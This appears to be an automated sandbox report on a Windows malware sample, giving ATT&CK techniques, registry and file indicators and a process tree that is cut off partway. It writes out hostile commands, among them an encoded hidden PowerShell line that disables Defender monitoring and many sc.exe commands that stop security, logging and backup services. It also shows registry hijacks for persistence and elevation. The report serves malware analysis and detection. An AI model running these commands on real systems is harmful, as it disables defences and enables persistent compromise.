nanocore | 1f7f89d7f9c9e34209c59189d39994033a0da2f907bc5db7cef418c3ac80d939

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilac-vi.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilac-vi.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4100	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilac-vi.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilac-vi.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2280	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	xoilac-vi.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilac-vi.com_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilac-vi.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilac-vi.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5100	net.exe
1428	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4412	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilac-vi.com_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilac-vi.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilac-vi.com_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilac-vi.com_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilac-vi.com_nano.exe
File created	C:\Windows\system32\sysupdate.exe	xoilac-vi.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
540	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilac-vi.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
1480	xoilac-vi.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3984	sc.exe
1736	sc.exe
3016	sc.exe
3024	sc.exe
4832	sc.exe
1640	sc.exe
3584	sc.exe
224	sc.exe
3288	sc.exe
1980	sc.exe
4892	sc.exe
4092	sc.exe
3400	sc.exe
440	sc.exe
2760	sc.exe
3980	sc.exe
1100	sc.exe
3424	sc.exe
3884	sc.exe
2436	sc.exe
3456	sc.exe
3540	sc.exe
1188	sc.exe
1748	sc.exe
368	sc.exe
824	sc.exe
2304	sc.exe
856	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3480	cmd.exe
1168	cmd.exe
4584	cmd.exe
2348	cmd.exe
4676	cmd.exe
1904	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoilac-vi.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoilac-vi.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3372	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
212	NETSTAT.EXE
32	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4588	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4400	vssadmin.exe
4844	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilac-vi.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe\" \"%1\""	xoilac-vi.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilac-vi.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command	xoilac-vi.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-vi.com_nano.exe"	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilac-vi.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings	xoilac-vi.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings	xoilac-vi.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\.pdf\ = "PDFBotnet"	xoilac-vi.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilac-vi.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open	xoilac-vi.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command	xoilac-vi.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4184	schtasks.exe
4704	schtasks.exe
2656	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4100	powershell.exe
4100	powershell.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe
1480	xoilac-vi.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1480	xoilac-vi.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	1480	xoilac-vi.com_nano.exe
Token: SeIncreaseQuotaPrivilege	3248	WMIC.exe
Token: SeSecurityPrivilege	3248	WMIC.exe
Token: SeTakeOwnershipPrivilege	3248	WMIC.exe
Token: SeLoadDriverPrivilege	3248	WMIC.exe
Token: SeSystemProfilePrivilege	3248	WMIC.exe
Token: SeSystemtimePrivilege	3248	WMIC.exe
Token: SeProfSingleProcessPrivilege	3248	WMIC.exe
Token: SeIncBasePriorityPrivilege	3248	WMIC.exe
Token: SeCreatePagefilePrivilege	3248	WMIC.exe
Token: SeBackupPrivilege	3248	WMIC.exe
Token: SeRestorePrivilege	3248	WMIC.exe
Token: SeShutdownPrivilege	3248	WMIC.exe
Token: SeDebugPrivilege	3248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3248	WMIC.exe
Token: SeRemoteShutdownPrivilege	3248	WMIC.exe
Token: SeUndockPrivilege	3248	WMIC.exe
Token: SeManageVolumePrivilege	3248	WMIC.exe
Token: 33	3248	WMIC.exe
Token: 34	3248	WMIC.exe
Token: 35	3248	WMIC.exe
Token: 36	3248	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3248	WMIC.exe
Token: SeSecurityPrivilege	3248	WMIC.exe
Token: SeTakeOwnershipPrivilege	3248	WMIC.exe
Token: SeLoadDriverPrivilege	3248	WMIC.exe
Token: SeSystemProfilePrivilege	3248	WMIC.exe
Token: SeSystemtimePrivilege	3248	WMIC.exe
Token: SeProfSingleProcessPrivilege	3248	WMIC.exe
Token: SeIncBasePriorityPrivilege	3248	WMIC.exe
Token: SeCreatePagefilePrivilege	3248	WMIC.exe
Token: SeBackupPrivilege	3248	WMIC.exe
Token: SeRestorePrivilege	3248	WMIC.exe
Token: SeShutdownPrivilege	3248	WMIC.exe
Token: SeDebugPrivilege	3248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3248	WMIC.exe
Token: SeRemoteShutdownPrivilege	3248	WMIC.exe
Token: SeUndockPrivilege	3248	WMIC.exe
Token: SeManageVolumePrivilege	3248	WMIC.exe
Token: 33	3248	WMIC.exe
Token: 34	3248	WMIC.exe
Token: 35	3248	WMIC.exe
Token: 36	3248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1480	xoilac-vi.com_nano.exe
Token: SeDebugPrivilege	212	NETSTAT.EXE
Token: SeDebugPrivilege	1116	whoami.exe
Token: SeDebugPrivilege	4412	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3328	WMIC.exe
Token: SeSecurityPrivilege	3328	WMIC.exe
Token: SeTakeOwnershipPrivilege	3328	WMIC.exe
Token: SeLoadDriverPrivilege	3328	WMIC.exe
Token: SeSystemProfilePrivilege	3328	WMIC.exe
Token: SeSystemtimePrivilege	3328	WMIC.exe
Token: SeProfSingleProcessPrivilege	3328	WMIC.exe
Token: SeIncBasePriorityPrivilege	3328	WMIC.exe
Token: SeCreatePagefilePrivilege	3328	WMIC.exe
Token: SeBackupPrivilege	3328	WMIC.exe
Token: SeRestorePrivilege	3328	WMIC.exe
Token: SeShutdownPrivilege	3328	WMIC.exe
Token: SeDebugPrivilege	3328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3328	WMIC.exe
Token: SeRemoteShutdownPrivilege	3328	WMIC.exe
Token: SeUndockPrivilege	3328	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1480	xoilac-vi.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 4100	1480	xoilac-vi.com_nano.exe	83
PID 1480 wrote to memory of 1736	1480	xoilac-vi.com_nano.exe	85
PID 1480 wrote to memory of 1188	1480	xoilac-vi.com_nano.exe	87
PID 1480 wrote to memory of 1748	1480	xoilac-vi.com_nano.exe	89
PID 1480 wrote to memory of 2760	1480	xoilac-vi.com_nano.exe	91
PID 1480 wrote to memory of 3980	1480	xoilac-vi.com_nano.exe	93
PID 1480 wrote to memory of 1980	1480	xoilac-vi.com_nano.exe	95
PID 1480 wrote to memory of 1100	1480	xoilac-vi.com_nano.exe	97
PID 1480 wrote to memory of 3424	1480	xoilac-vi.com_nano.exe	98
PID 1480 wrote to memory of 3016	1480	xoilac-vi.com_nano.exe	101
PID 1480 wrote to memory of 368	1480	xoilac-vi.com_nano.exe	103
PID 1480 wrote to memory of 3024	1480	xoilac-vi.com_nano.exe	105
PID 1480 wrote to memory of 4832	1480	xoilac-vi.com_nano.exe	107
PID 1480 wrote to memory of 1640	1480	xoilac-vi.com_nano.exe	109
PID 1480 wrote to memory of 4892	1480	xoilac-vi.com_nano.exe	111
PID 1480 wrote to memory of 3584	1480	xoilac-vi.com_nano.exe	113
PID 1480 wrote to memory of 224	1480	xoilac-vi.com_nano.exe	115
PID 1480 wrote to memory of 3884	1480	xoilac-vi.com_nano.exe	117
PID 1480 wrote to memory of 824	1480	xoilac-vi.com_nano.exe	119
PID 1480 wrote to memory of 2304	1480	xoilac-vi.com_nano.exe	151
PID 1480 wrote to memory of 2436	1480	xoilac-vi.com_nano.exe	123
PID 1480 wrote to memory of 856	1480	xoilac-vi.com_nano.exe	125
PID 1480 wrote to memory of 4092	1480	xoilac-vi.com_nano.exe	127
PID 1480 wrote to memory of 3456	1480	xoilac-vi.com_nano.exe	129
PID 1480 wrote to memory of 3984	1480	xoilac-vi.com_nano.exe	131
PID 1480 wrote to memory of 1596	1480	xoilac-vi.com_nano.exe	133
PID 1480 wrote to memory of 3288	1480	xoilac-vi.com_nano.exe	134
PID 1480 wrote to memory of 3400	1480	xoilac-vi.com_nano.exe	136
PID 1480 wrote to memory of 4400	1480	xoilac-vi.com_nano.exe	185
PID 1480 wrote to memory of 3248	1480	xoilac-vi.com_nano.exe	140
PID 1480 wrote to memory of 4704	1480	xoilac-vi.com_nano.exe	142
PID 1480 wrote to memory of 2656	1480	xoilac-vi.com_nano.exe	145
PID 1596 wrote to memory of 2452	1596	fodhelper.exe	146
PID 1480 wrote to memory of 3480	1480	xoilac-vi.com_nano.exe	152
PID 1480 wrote to memory of 1904	1480	xoilac-vi.com_nano.exe	154
PID 1480 wrote to memory of 4676	1480	xoilac-vi.com_nano.exe	155
PID 1480 wrote to memory of 2348	1480	xoilac-vi.com_nano.exe	156
PID 1480 wrote to memory of 4584	1480	xoilac-vi.com_nano.exe	157
PID 1480 wrote to memory of 1168	1480	xoilac-vi.com_nano.exe	158
PID 1480 wrote to memory of 4184	1480	xoilac-vi.com_nano.exe	159
PID 1480 wrote to memory of 540	1480	xoilac-vi.com_nano.exe	165
PID 4584 wrote to memory of 32	4584	cmd.exe	168
PID 1168 wrote to memory of 212	1168	cmd.exe	170
PID 4676 wrote to memory of 4412	4676	cmd.exe	201
PID 2348 wrote to memory of 1116	2348	cmd.exe	171
PID 1904 wrote to memory of 4588	1904	cmd.exe	172
PID 1480 wrote to memory of 1068	1480	xoilac-vi.com_nano.exe	173
PID 3480 wrote to memory of 4844	3480	cmd.exe	174
PID 3480 wrote to memory of 3328	3480	cmd.exe	175
PID 1480 wrote to memory of 864	1480	xoilac-vi.com_nano.exe	176
PID 1480 wrote to memory of 2280	1480	xoilac-vi.com_nano.exe	177
PID 1480 wrote to memory of 3540	1480	xoilac-vi.com_nano.exe	179
PID 1480 wrote to memory of 440	1480	xoilac-vi.com_nano.exe	180
PID 1480 wrote to memory of 1548	1480	xoilac-vi.com_nano.exe	181
PID 1480 wrote to memory of 3372	1480	xoilac-vi.com_nano.exe	182
PID 864 wrote to memory of 4268	864	net.exe	187
PID 1480 wrote to memory of 5100	1480	xoilac-vi.com_nano.exe	190
PID 1480 wrote to memory of 2460	1480	xoilac-vi.com_nano.exe	191
PID 5100 wrote to memory of 1428	5100	net.exe	194
PID 2460 wrote to memory of 5108	2460	net.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilac-vi.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1188
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:3024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:1640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:3584
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:224
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:824
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:2436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:3456
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3984
- C:\Windows\System32\fodhelper.exe
